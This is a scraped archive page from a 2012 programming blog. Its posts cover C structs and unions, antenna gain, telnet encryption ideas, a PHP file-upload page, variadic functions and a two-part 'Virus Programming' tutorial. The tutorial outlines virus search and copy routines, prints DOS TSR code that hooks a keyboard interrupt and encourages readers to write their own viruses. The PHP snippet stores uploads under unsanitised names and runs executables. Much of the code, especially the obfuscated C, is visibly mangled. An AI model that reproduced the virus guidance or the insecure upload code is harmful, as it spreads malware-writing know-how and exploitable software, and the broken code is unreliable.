PoiNtEr->: September 2012

                             Difference between a dream and an aim. A dream requires soundless sleep, whereas an aim requires sleepless efforts.

Search This Blog

Tuesday, September 25, 2012

Difference Between Stucture and Union In C

Structure Union
i. Access Members     
We can access all the members of structure at anytime. Only one member of union can be accessed at anytime.
ii. Memory Allocation     
Memory is allocated for all variables. Allocates memory for variable which variable require more memory.
iii. Initialization     
All members of structure can be initialized Only the first member of a union can be initialized.
iv. Keyword     
'struct' keyword is used to declare structure. 'union' keyword is used to declare union.
v. Syntax     
struct struct_name
    structure element 1;
    structure element 2;
    structure element n;
union union_name
    union element 1;
    union element 2;
    union element n;
vi. Example     
struct item_mst
    int rno;
    char nm[50];
union item_mst
    int rno;
    char nm[50];

Saturday, September 22, 2012

Virus Programming Tutorial-2

A plethora of negative negative article about virus are available on internet.  Viruses are a result of very very clever programming.These bad articles are just creating a new kind of hypochondria among computer users: an unreasonable fear of computer viruses,and what Anti-virus manufactures are doing ?. Probably creating new ones .
Whatever get ready to understand the very basic structure of a virus.But before that a disclaimer :"The information contained in this post is for educational purposes only."

Functional Structure Of Virus
Every viable computer virus must have at least two basic parts, or subroutines, if it is even to be called a virus. Firstly, it must contain a search routine, which locates new files or new areas on disk which are worthwhile targets for infection. This routine will determine how well the virus reproduces, e.g., whether it does so quickly or slowly, whether it can infect multiple disks or a single disk, and whether it can infect every portion of a disk or just certain specific areas. As with all programs, there is a size versus functionality trade-off here. The more sophisticated the search routine is, the more space it will take up. So although an efficient search routine may help a virus to spread faster, it will make the virus bigger, and that is not always so good.

Secondly, every computer virus must contain a routine to copy itself into the area which the search routine locates. The copy routine will only be sophisticated enough to do its job without getting caught. The smaller it is, the better. How small it can be will depend on how complex a virus it must copy. For example, a virus
which infects only COM files can get by with a much smaller copy routine than a virus which infects EXE files. This is because the EXE file structure is much more complex, so the virus simply needs to do more to attach itself to an EXE file.
Virus Structure

Search, copy, and anti-detection routines are the only necessary components of a computer virus, and they are the components which we will concentrate in my next post.

Tools Needed for Writing Viruses
Viruses are generally written in assembly language. High level languages like Basic, C, and JAVA have been designed to generate stand-alone programs, but the assumptions made by these languages render them almost useless when writing viruses.They are
simply incapable of performing the acrobatics required for a virus to jump from one host program to another.

Compiler Choices
2:TASM(Borland’s Turbo Assembler)

Monday, September 17, 2012

Information Security Study Material

Information Security

Click Here

/*Need Password then comment Below with your email-id*/

Saturday, September 15, 2012

Microsoft Windows 2000 IIS 5.0 IPP ISAPI Vulnerability

Obfuscation In C

Compile and run following codes to get amazed .. :-)

#include <stdio.h>
#define A(a) G a();
#define B(a) G (*a)();
#define C(a,b) G a() { printf(b); return X; }
typedef struct F G;A(a)A(b)A(c)A(d)A(e)A(f)A(g)A(h)A(i)A(j)A(k)A(l)A(m)A(n)A(
o)A(p)A(q)A(r)A(s)A(t)A(u)A(v)A(w)A(x)A(y)A(z)A(S)A(N)void Q();struct F{B(a)B
"a")C(S," ")C(N,"\n") void Q(){}main(){X=g().s().v().S().j().f().r().x().p().

a(X){/*/X=-             a(X){/*/X=-
                -1;F;X=-                -1;F;X=-
                -1;F;}/*/               -1;F;}/*/
char*z[]={"char*z[]={","a(X){/*/X=-","-1;F;X=-","-1;F;}/*/","9999999999  :-| ",
"int q,i,j,k,X,O=0,H;S(x)int*x;{X+=X;O+=O;*x+1?*x+2||X++:O++;*x=1;}L(n){for(*",
                b(X){/*/X=-             b(X){/*/X=-
                -1;F;X=-                -1;F;X=-
                -1;F;}/*/               -1;F;}/*/
int q,i,j,k,X,O=0,H;S(x)int*x;{X+=X;O+=O;*x+1?*x+2||X++:O++;*x=1;}L(n){for(*
                c(X){/*/X=-             c(X){/*/X=-
                -1;F;X=-                -1;F;X=-
                -1;F;}/*/               -1;F;}/*/


/**//*/};)/**/main(/*//**/tang    ,gnat/**//*/,ABBA~,0-0(avnz;)0-0,tang,raeN
,ABBA(niam&&)))2-]--tang-[kri   - =raeN(&&0<)/*clerk*/,noon,raeN){(!tang&&
noon!=-1&&(gnat&2)&&((raeN&&(    getchar(noon+0)))||(1-raeN&&(trgpune(noon
)))))||tang&&znva(/*//**/tang   ,tang,tang/**|**//*/((||)))0(enupgrt=raeN
(&&tang!(||)))0(rahcteg=raeN(  &&1==tang((&&1-^)gnat=raeN(;;;)tang,gnat
(&&)1-^gnat(&&)1& ABBA(!;)raeN,tang,gnat,ABBA(avnz&&0>ABBA{)raeN
(/*//**\**/tang^tang/**//*/,/*    */,~/*//*-*/tang,gnat,ABBA-
0/**//*/(niam&&ABBA||))))tang(       rahcteg&&1-1=<enrA(||))tang(
enupgrt&&1==enrA((&&)2&gnat(&&      )1-^tang(&&ABBA!(;)85- =tang
(&&)'a\'=gnat(&&)1-==gnat(&&)4       ==ABBA(&&tang!;))))0(enupgrt=
 gnat(&&)tang!((||)))0(rahcteg        =gnat(&&tang((&&ABBA;;)1-'A'=!
'Z'=tang(&&ABBA{)enrA/***/);gnat ^-1&&znva(tang+1,gnat,1+gnat); 
 main(ABBA&2/*//*\\**/,tang,gnat ,ABBA/**//*/(avnz/**/);}/*//**/

Monday, September 10, 2012

Wireless Part-0x01

What does the ‘dBi’ mean??

dB = 10log (P1/P2) where P1 and P2 are two power levels.

We can also compare voltages, if the voltages are at the same impedance. The formula is:

dB = 20log (V1/V2) where V1 and V2 are the two voltage levels.

(For “extra credit,” if the resistances are not equal, you can
use the formula dB = 10log ((V12/R1)/(V22/R2)).

Now, in antenna gain, there are two common references. The first is an imaginary antenna called an “isotropic” radiator. This is an antenna that radiates equally in all directions. An isotropic radiator placed at the center of a sphere would illuminate the sphere equally. No such antenna exists in real life. A practical example of what is nearly an isotropic radiator is a light bulb. 

When gain is expressed in dBi, it indicates how much louder a signal from that antenna will be in the main beam of the antenna than it would be if the same amount of power were applied to an isotropic radiator in free space. The thing to remember about gain is that an antenna develops gain by concentrating energy in one direction and not radiating energy in other directions. Two examples of gain are flashlights, and the technique of cupping your hands when you shout to make the sound louder in the desired direction.

A directional antenna such as a Yagi can have considerable gain. Typical HF Yagi beams can have 8 dBi gain or more; a large VHF or UHF beam can have 20 dBi gain, or even more. Some easy numbers to remember are:

  • 1 dB = 1.25 × power
  • 2 dB = 1.6 × power
  • 3 dB = 2 × power
  • 10 dB = 10 × power

A 20-dBi-gain antenna would have 10 × 10 or 100 times the power gain of an isotropic radiator. One watt fed into a 20-dBi gain antenna would be as loud as 100 W fed into an isotropic source, but only in the direction the antenna is beaming.

Decibels also work in the other direction, too. An antenna with –3 dBi “gain” actually has a loss of 3 dB—it will lose half of the power applied to it. An antenna that is –10 dBi is radiating 1/10 the signal of one with 0 dBi gain; one that is –20 dBi is radiating 1/100 the signal and so on. A –20 dBi gain antenna with 1 W fed to it would sound as loud as an isotropic antenna being fed with 10 mW

Most H-Ts have antennas that are not very efficient. A gain of –10 dBi would be about typical. This can work very well if you are near a repeater, but if you are right at the edge of a repeater’s range, or operating simplex over a few miles, this will not give a very good signal; it will sound “scratchy” on the receiving end.

Another reference point is dBd, or referring the gain to a half-wave dipole in free space. The half-wave dipole in free space has a gain of 2.15 dBi, so gain expressed in dBd is always 2.15 dB less than gain expressed in dBi. Don’t worry, the gain of the antenna is the same in both cases, only the reference has changed. If you want to compare an antenna whose gain is in dBd to one whose gain is in dBi, add 2.15 to the gain of the antenna in dBd.

I don’t want to make it too complicated, but I will add that most antenna gain figures tell you what the antenna would be if it were in free space—infinitely far away from the Earth. In the real world, the ground affects the antenna performance by reflecting signals upward. This actually adds up to about 5 dB to the gain of an antenna. So, a half-wavelength dipole over ground can actually have about 5 dBd of gain! Slick, eh? The half-wavelength dipole over ground has 5-dB gain over a halfwave dipole in free space.

How To Encrypt Plain text Password Of Telnet Protocol ??

How To Encrypt Plain text Password Of Telnet Protocol ??

 The purpose of the TELNET Protocol is to provide a fairly general,    bi-directional, eight-bit byte oriented communications facility.  Its    primary goal is to allow a standard method of interfacing terminal    devices and terminal-oriented processes to each other.  It is    envisioned that the protocol may also be used for terminal-terminal    communication ("linking") and process-process communication    (distributed computation).
 A TELNET connection is a Transmission Control Protocol (TCP)    connection used to transmit data with interspersed TELNET control    information.     The TELNET Protocol is built upon three main ideas:
  • the    concept of a "Network Virtual Terminal"; 
  • the principle of    negotiated options; and 
  • a symmetric view of terminals and    processes.

static void c_write(Telnet telnet, char *buf, int len)
    int backlog;
    backlog = from_backend(telnet->frontend, 0, buf, len);
    sk_set_frozen(telnet->s, backlog > TELNET_MAX_BACKLOG);

static void send_opt(Telnet telnet, int cmd, int option)
    unsigned char b[3];

    b[0] = IAC;
    b[1] = cmd;
    b[2] = option;
    telnet->bufsize = sk_write(telnet->s, (char *)b, 3);
    log_option(telnet, "client", cmd, option);

Above are two function used by a telnet client to send buffer over network .Well what we really want to achieve  is that the password should go encrypted in network not in stripped out form.
Approaches possible:

1:Possible that we can make our very own encryption and decryption function and do encryption on whole buffer sent over wire,and decrypt that on server side.But this approach will be specific to client and  server used and we also have to make changes in server and client source code of telnet daemon.

2:possible that we use a standard encryption algo and set bit in server  for that.

3:We can use user fingerprinting techniques to make connection such that without any password we can login if alice have key then make connection with bob,no password required.Special attention need to be paid for encrypting key and sending it over naked wire.

4:Use own write function for socket communication...
   int (*write) (Socket s, const char *data, int len);
   int (*write_oob) (Socket s, const char *data, int len);
   void (*write_eof) (Socket s)
define in a connect.h file

Soon be uploading code of this Secure Telnet  here

Saturday, September 8, 2012

Web Interface For ADS Assignment

Web Interface For ADS Assignment Supporting following languages

Code Explanation:

  <img style="position:fixed; top:150px;"  src="einstein.jpg"></img>
<h3 style="position:fixed;top:110px;left:560px;right:50px"><center><b>Upload Input File:</b></center><br /></h3>

##upload Section##

<center><input  style="position:fixed; top:160px;left:750px;right:50px" type="file" name="inputfile[]" /><br /></center>
<center><input  style="position:fixed; top:188px; left:870px;right:50px;" type="submit" value="Send" name="Send" action = "up.php" /></center>

  ###Action to upload Input file to server####

    <form name="form1" method="post" action="index2.php?saving=1">     


<textarea style="position:fixed; top:350px; width: 350px; height: 200px; left:920px;right:5px;" name="data" cols="90" rows="10">
<input style="position:fixed; top:560px; left:1100px;right:5px;"type="submit" value="Input">


  ####OUTPUT TExt Area#####

<textarea style="position:fixed; top:350px; width: 350px; height: 200px; left:500px;right:5px;name="output" cols="90" rows="10" >
    <?php $output = array();exec('./test2', $output); echo implode("\n", $output); ?>


#####./test2 is the name of your executable file ..it can be different depending on your choice of language or case ######


<input style="position:fixed; top:560px; left:600px;right:5px;"type="submit" value="Output">

  ###########uploading file to the server...###############


if ($_REQUEST) {
    file_put_contents("InputFile.txt", $_REQUEST["text_box"]);
    foreach ($_FILES["inputfile"]["error"] as $key => $error) {
        if ($error == UPLOAD_ERR_OK) {
            $tmp_name = $_FILES["inputfile"]["tmp_name"][$key];
            $name = $_FILES["inputfile"]["name"][$key];
            move_uploaded_file($tmp_name, "data/$name");
            echo "File uploaded Successfully Uploaded...";

###You can try following options for fun ... which start with //#####
###exec is our magic php function  which we are using to call our executable from php#####

###implode is used to show output of our program as it is without any manipulation,otherwise exec only shows the last line of output###

//$output = array();
//exec('./ads12', $output);
//echo implode("\n", $output);


<style type="text/css">



$saving = $_REQUEST['saving'];
if ($saving == 1){
$data = $_POST['data'];
$file = "Inputfile.txt";

$fp = fopen($file, "w+") or die("Couldn't open $file for writing!");
fwrite($fp, $data) or die("Couldn't write values to file!");

echo "Saved to $file successfully!";
header( 'Location: http://eva.localhost/upload' ) ;


Choice is yours either you can make a single php file with all this code or you can distribute load by making other index2.php and writing upload section in that.
Main thing is the  use of exec and implode function which gives us power to call any
function. If you have any problem in understanding code then feel free to leave comment below-->

Monday, September 3, 2012

Variable Arguments Handling in C

There are cases where a function needs to accept varying numbers of arguments of varying type. For this we can use the macros defined in the header file stdarg.h. In this header file (stdarg.h) there macros defined that can be used to access the arguments of a list of unnamed (arguments with no corresponding parameter declarations) arguments.
There is one type described in stdarg.h:
  • va_list Holds the information about variable arguments.
  • The typedef va_list is used by the macros.
The following macros are defined:
  • va_start() Initializes the list of variable arguments.
  • va_arg() Expands the next argument in the parameter list of the function with a type. Note: the used va_list must be initialized with va_start.
  • va_end() Allows a function with variable arguments (which used the va_start macro) to return. Note: the used va_list may no longer be used after a va_end call.
To use a varying number of arguments (unamed) in a function we have to add a comma and three dots after its regular named parameters:
Usage: return_type function_name( regular_declarations, …)
Example: void my_print(int my_args, …)
Take a look at a source code example:


void printargument(int num_args, ...)
    va_list arg_list;
    int my_arg;

    va_start(arg_list, num_args);

    //Print until zero
    for (my_arg = num_args; my_arg != 0; my_arg = va_arg(arg_list, int))
        printf("%d\n", my_arg);


int main(void)
    return 0;

 After Getting a zero argument function quits.So if you are thinking of using zero as a normal argument then its not possible to do that ,according to my knowledge.And my question is  who uses a zero as a argument ??If you do then leave comment below->>>

Sunday, September 2, 2012

Virus Programming

Everybody is scared of computer ‘virus’ as it does harmful actions on our computer. But when we look into the virus programming, we may certainly come out with the conclusion that it requires intelligence to code a virus.
It is easy to mess-up the right program. For example, if you remove even a single byte from an EXE file, that EXE file won’t be usable! Virus program don’t have any specific rules.But it’s a common practice to include ‘signatures’ by virus creators. The main idea is to force the innocent user to run the programs. So certain viruses come along with so called ‘programmer utilities’ or ‘free tools’. Another thing is, it is easy to hang-up a working system using some ‘bad’ interrupts. Viruses use this logic too!
Virus Programming

I have written the following program. This is actually a TSR virus. It is not much
harmful; it just changes the attribute (color) byte of the existing characters present on screen.

#ifndef __SMALL__
#error Compile with Small memory model
#include <dos.h>
int i = 1;
char far *Vid_RAM = (char far *)0xb8000000;
void interrupt (*Int9)( void );
void interrupt MyInt9( void );
void interrupt MyInt9( void )
*( Vid_RAM + i ) = i;
if ( i>4000 )
i = 1;
i += 2;
(*Int9)( );
int main(void)
Int9 = getvect( 9 );
setvect( 9, MyInt9 );
keep( 0, 500 );

Its a Form of TSR virus.It was very popular when it was introduced.Well it only shows a logic and using that you can write your very own virus.
lets check out a very simple one:

void main (void)
for(; ;)